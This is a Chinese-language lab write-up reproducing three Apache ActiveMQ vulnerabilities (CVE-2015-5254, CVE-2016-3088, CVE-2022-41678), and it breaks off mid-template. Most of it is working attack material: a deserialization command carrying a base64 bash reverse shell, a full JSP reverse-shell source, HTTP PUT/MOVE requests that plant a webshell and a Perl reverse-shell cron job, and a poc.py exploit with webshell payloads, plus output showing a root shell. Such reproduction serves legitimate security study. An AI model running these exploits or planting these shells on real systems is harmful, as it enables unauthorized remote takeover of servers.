ActiveMQ漏洞复现

以下内容均在nextcyber靶场环境中完成,请勿用于非法途径!

ActiveMQ 反序列化漏洞(CVE-2015-5254)

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞复现

前期准备

靶机环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问 http://your-ip:8161即可看到web管理页面。然后下载 jmet工具以及创建external文件夹
┌──(root㉿nextcyber)-[~]
└─# wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar┌──(root㉿nextcyber)-[~]
└─# mkdir external ┌──(root㉿nextcyber)-[~]
└─# ls                                                                                    
external  jmet-0.1.0-all.jar

java版本问题,这里的java版本不能太新,不然命令执行不成功。payload准备,我们使用以下bash命令,需要使用bp工具把该命令进行base64编码,将编码后的命令替换成反弹shell语句再利用:

bash -i >& /dev/tcp/10.132.0.58/1234 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 10.22.14.156 61616

漏洞利用

发送payload,然后监听端口1234
┌──(kali㉿kali)-[~/Desktop/vegetable/ActiveMQ/CVE-2015-5254]
└─$ java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 10.22.14.156 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:kali-44681-1749456236602-0:1                                                                          
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"                                                                         
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:kali-44681-1749456236602-0:1 ┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过访问http://xxxx:8161/admin/browse.jsp?JMSDestination=event页面,访问凭证:admin:admin

登陆后,看到这个队列中所有消息:
点击查看这条消息即可触发命令执行:

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
  • 其使用率并不高
  • 文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
  • 写入webshell
  • 写入cron或ssh key等文件
  • 写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

漏洞复现

前期准备

靶机启动后,监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。访问 http://your-ip:8161/看到web页面。下面我们通过2种方法进行漏洞复现。

方法一:写入webshell

直接访问 http://192.168.2.21:8161/admin/,确定版本
漏洞影响版本是ActiveMQ在5.14.0之前的版本(不包括5.14.0),目标版本为5.11.1,在漏洞影响范围内。下面我们按以下攻击思路进行攻击:
  1. 获取admin应用的用户名和密码
  2. 访问http://your-ip:8161/admin/test/systemProperties.jsp获取ActiveMQ的绝对路径
  3. 上传webshell
  4. 将webshell移动到admin所在文件夹
  5. 连接webshell
这里的默认用户名和密码都是admin;然后访问 http://192.168.2.21:8161/admin/test/systemProperties.jsp
ActiveMQ的绝对路径为/opt/activemq,接下来上传webshell,使用 revshells在线工具生成一个jsp的反弹shell脚本,ip为kali机的ip,端口号9001
┌──(root㉿nextcyber)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.6 LPORT=9001 -f raw -o shell.jsp
Payload size: 1497 bytes
Saved as: shell.jsp┌──(root㉿nextcyber)-[~]
└─# cat shell.jsp  
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%><%class StreamConnector extends Thread{InputStream e9;OutputStream sZ;StreamConnector( InputStream e9, OutputStream sZ ){this.e9 = e9;this.sZ = sZ;}public void run(){BufferedReader b6  = null;BufferedWriter kvL = null;try{b6  = new BufferedReader( new InputStreamReader( this.e9 ) );kvL = new BufferedWriter( new OutputStreamWriter( this.sZ ) );char buffer[] = new char[8192];int length;while( ( length = b6.read( buffer, 0, buffer.length ) ) > 0 ){kvL.write( buffer, 0, length );kvL.flush();}} catch( Exception e ){}try{if( b6 != null )b6.close();if( kvL != null )kvL.close();} catch( Exception e ){}}}try{String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "192.168.2.6", 9001 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}
%>

接着打开kali自带的burpsuite工具,设置好代理,访问http://192.168.2.21:8161/fileserver/抓包

把包发送到Repeater模块,按下图步骤进行修改,然后点击发送
Response报文状态码204表示上传成功,访问 http://192.168.2.21:8161/fileserver/shell.jsp,可以看到上传的内容
移动webshell到admin所在的文件夹,move方法移动,直接在原来的包上做修改,move移动文件,Destination设置移动的位置
MOVE /fileserver/shell.jsp HTTP/1.1Destination: file:///opt/activemq/webapps/admin/shell.jsp
Response报文状态码204表示移动成功,本地kali监听端口9001,bp放行,访问 http://192.168.2.21:8161/admin/shell.jsp
┌──(root㉿nextcyber)-[~]
└─# nc -lvnp 9001 
listening on [any] 9001 ...
connect to [192.168.2.6] from (UNKNOWN) [192.168.2.21] 62044
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
ls
ls -al
total 20
drwx------ 1 root root 4096 Mar  4  2018 .
drwxr-xr-x 1 root root 4096 Nov 26 08:05 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  189 Mar  4  2018 .wget-hsts

漏洞利用成功,拿到了root权限的反弹shell

方法二:写入crontab

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

Apache ActiveMQ Jolokia 后台远程代码执行漏洞(CVE-2022-41678)

Apache ActiveMQ 在5.16.5, 5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。

漏洞复现

靶机启动后,访问 http://your-ip:8161/后输入账号密码admin和admin,即可成功登录后台。

方法一

首先,访问 http://192.168.2.21:8161//api/jolokia/list这个API查看当前服务器MBean值,此处需要加入Origin值,Authorization值为admin:admin的base64加密值
第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。
使用poc.py脚本来复现完整的过程:
┌──(root㉿nextcyber)-[~]
└─# vim poc.py               ┌──(root㉿nextcyber)-[~]
└─# ls
poc.py┌──(root㉿nextcyber)-[~]
└─# python poc.py -u admin -p admin http://192.168.2.47:8161
2024-11-28 16:17:05,911 - INFO - choice MBean 'org.apache.logging.log4j2:type=6ddf90b0' automatically
2024-11-28 16:17:05,966 - INFO - update log config
2024-11-28 16:17:05,992 - INFO - write webshell to http://192.168.2.47:8161/admin/shell.jsp?cmd=id
2024-11-28 16:17:06,028 - INFO - restore log config

执行脚本后,Webshell被写入在/admin/shell.jsp文件中,访问http://192.168.2.47:8161/admin/shell.jsp?cmd=id

可以读取到当前用户,这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ。

方法二

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean。
FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。
使用poc.py脚本来复现完整的过程(使用--exploit参数指定使用的方法):
python poc.py -u admin -p admin --exploit jfr http://192.168.2.47:8161
┌──(root㉿nextcyber)-[~]
└─# python poc.py -u admin -p admin --exploit jfr http://192.168.2.47:8161
2024-11-28 16:26:29,798 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2024-11-28 16:26:30,336 - INFO - create flight record, id = 1
2024-11-28 16:26:30,370 - INFO - update configuration for record 1
2024-11-28 16:26:30,749 - INFO - start record
2024-11-28 16:26:31,794 - INFO - stop record
2024-11-28 16:26:31,814 - INFO - write webshell to http://192.168.2.47:8161/admin/shelljfr.jsp?cmd=id

Webshell被写入在/admin/shelljfr.jsp文件中:访问http://192.168.2.47:8161/admin/shelljfr.jsp?cmd=id

poc.py

#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escapelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); ''out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%5p | %m%n"/></Console><RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" filePattern="${sys:activemq.data}/activemq.log.%i"><PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile><RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"><PatternLayout pattern="%-5p | %m | %t%n"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile></Appenders><Loggers><Root level="INFO"><AppenderRef ref="Console"/><AppenderRef ref="RollingFile"/></Root><Logger name="org.apache.activemq.spring" level="WARN"/><Logger name="org.apache.activemq.web.handler" level="WARN"/><Logger name="org.springframework" level="WARN"/><Logger name="org.apache.xbean" level="WARN"/><Logger name="org.eclipse.jetty" level="WARN"/><Logger name="org.apache.activemq.audit" level="INFO" additivity="false"><AppenderRef ref="AuditLog"/></Logger><!-- Uncomment and modify as needed for ActiveMQ logger<Logger name="org.apache.activemq" level="DEBUG"/>--></Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%5p | %m%n"/></Console><RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp" filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i"><PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile><RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"><PatternLayout pattern="%-5p | %m | %t%n"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile></Appenders><Loggers><Root level="INFO"><AppenderRef ref="Console"/><AppenderRef ref="RollingFile"/></Root><Logger name="org.apache.activemq.spring" level="WARN"/><Logger name="org.apache.activemq.web.handler" level="WARN"/><Logger name="org.springframework" level="WARN"/><Logger name="org.apache.xbean" level="WARN"/><Logger name="org.eclipse.jetty" level="DEBUG"/><Logger name="org.apache.activemq.audit" level="INFO" additivity="false"><AppenderRef ref="AuditLog"/></Logger><!-- Uncomment and modify as needed for ActiveMQ logger<Logger name="org.apache.activemq" level="DEBUG"/>--></Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?><!--Recommended way to edit .jfc files is to use Java Mission Control,see Window -> Flight Recorder Template Manager.
--><configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle"><event name="jdk.ThreadAllocationStatistics"><setting name="enabled">true</setting><setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting></event><event name="jdk.ClassLoadingStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ClassLoaderStatistics"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.JavaThreadStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ThreadStart"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ThreadEnd"><setting name="enabled">true</setting></event><event name="jdk.ThreadSleep"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.ThreadPark"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorEnter"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorWait"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorInflate"><setting name="enabled">false</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.BiasedLockRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.BiasedLockSelfRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.BiasedLockClassRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ReservedStackActivation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ClassLoad"><setting name="enabled" control="class-loading-enabled">false</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ClassDefine"><setting name="enabled" control="class-loading-enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.ClassUnload"><setting name="enabled" control="class-loading-enabled">false</setting></event><event name="jdk.JVMInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.InitialSystemProperty"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ExecutionSample"><setting name="enabled" control="method-sampling-enabled">true</setting><setting name="period" control="method-sampling-java-interval">20 ms</setting></event><event name="jdk.NativeMethodSample"><setting name="enabled" control="method-sampling-enabled">true</setting><setting name="period" control="method-sampling-native-interval">20 ms</setting></event><event name="jdk.SafepointBegin"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointStateSynchronization"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointWaitBlocked"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointCleanup"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointCleanupTask"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointEnd"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ExecuteVMOperation"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.Shutdown"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ThreadDump"><setting name="enabled" control="thread-dump-enabled">true</setting><setting name="period" control="thread-dump-interval">everyChunk</setting></event><event name="jdk.IntFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.UnsignedIntFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.LongFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.UnsignedLongFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.DoubleFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.BooleanFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.StringFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.IntFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.UnsignedIntFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.LongFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.UnsignedLongFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.DoubleFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.BooleanFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.StringFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.ObjectCount"><setting name="enabled" control="memory-profiling-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.GCConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.GCHeapConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.YoungGenerationConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.GCTLABConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.GCSurvivorConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ObjectCountAfterGC"><setting name="enabled">false</setting></event><event name="jdk.GCHeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PSHeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1HeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceGCThreshold"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceAllocationFailure"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.MetaspaceOOM"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.MetaspaceChunkFreeListSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.GarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ParallelOldGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.YoungGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.OldGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.G1GarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePause"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel1"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel2"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel3"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel4"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhaseConcurrent"><setting name="enabled" control="gc-enabled-all">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCReferenceStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PromotionFailed"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.EvacuationFailed"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.EvacuationInformation"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1MMU"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1EvacuationYoungStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1EvacuationOldStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1BasicIHOP"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1AdaptiveIHOP"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PromoteObjectInNewPLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting></event><event name="jdk.PromoteObjectOutsidePLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting></event><event name="jdk.ConcurrentModeFailure"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.AllocationRequiringGC"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.TenuringDistribution"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1HeapRegionInformation"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.G1HeapRegionTypeChange"><setting name="enabled" control="gc-enabled-all">false</setting></event><event name="jdk.ShenandoahHeapRegionInformation"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.ShenandoahHeapRegionStateChange"><setting name="enabled" control="gc-enabled-all">false</setting></event><event name="jdk.OldObjectSample"><setting name="enabled" control="memory-leak-detection-enabled">true</setting><setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting><setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting></event><event name="jdk.CompilerConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CompilerStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.Compilation"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting></event><event name="jdk.CompilerPhase"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-phase-threshold">60 s</setting></event><event name="jdk.CompilationFailure"><setting name="enabled" control="compiler-enabled-failure">false</setting></event><event name="jdk.CompilerInlining"><setting name="enabled" control="compiler-enabled-failure">false</setting></event><event name="jdk.CodeSweeperConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CodeSweeperStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.SweepCodeCache"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting></event><event name="jdk.CodeCacheConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CodeCacheStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.CodeCacheFull"><setting name="enabled" control="compiler-enabled">true</setting></event><event name="jdk.OSInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.VirtualizationInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CPUInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ThreadContextSwitchRate"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">10 s</setting></event><event name="jdk.CPULoad"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ThreadCPULoad"><setting name="enabled">true</setting><setting name="period">10 s</setting></event><event name="jdk.CPUTimeStampCounter"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.SystemProcess"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.NetworkUtilization"><setting name="enabled">true</setting><setting name="period">5 s</setting></event><event name="jdk.InitialEnvironmentVariable"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.PhysicalMemory"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.ObjectAllocationInNewTLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.ObjectAllocationOutsideTLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.NativeLibrary"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.ModuleRequire"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.ModuleExport"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.FileForce"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.FileRead"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.FileWrite"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.SocketRead"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="socket-io-threshold">20 ms</setting></event><event name="jdk.SocketWrite"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="socket-io-threshold">20 ms</setting></event><event name="jdk.SecurityPropertyModification"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.TLSHandshake"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.X509Validation"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.X509Certificate"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.JavaExceptionThrow"><setting name="enabled" control="enable-exceptions">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.JavaErrorThrow"><setting name="enabled" control="enable-errors">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ExceptionStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ActiveRecording"><setting name="enabled">true</setting></event><event name="jdk.ActiveSetting"><setting name="enabled">true</setting></event><event name="jdk.DataLoss"><setting name="enabled">true</setting></event><event name="jdk.DumpReason"><setting name="enabled">true</setting></event><event name="jdk.ZPageAllocation"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ZThreadPhase"><setting name="enabled">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ZStatisticsCounter"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ZStatisticsSampler"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><!--Contents of the control element is not read by the JVM, it's usedby Java Mission Control to change settings that carry the control attribute.--><control><selection name="gc-level" default="detailed" label="Garbage Collector"><option label="Off" name="off">off</option><option label="Normal" name="detailed">normal</option><option label="All" name="all">all</option></selection><condition name="gc-enabled-normal" true="true" false="false"><or><test name="gc-level" operator="equal" value="normal"/><test name="gc-level" operator="equal" value="all"/></or></condition><condition name="gc-enabled-all" true="true" false="false"><test name="gc-level" operator="equal" value="all"/></condition><selection name="memory-profiling" default="off" label="Memory Profiling"><option label="Off" name="off">off</option><option label="Object Allocation and Promotion" name="medium">medium</option><option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option></selection><condition name="memory-profiling-enabled-medium" true="true" false="false"><or><test name="memory-profiling" operator="equal" value="medium"/><test name="memory-profiling" operator="equal" value="all"/></or></condition><condition name="memory-profiling-enabled-all" true="true" false="false"><test name="memory-profiling" operator="equal" 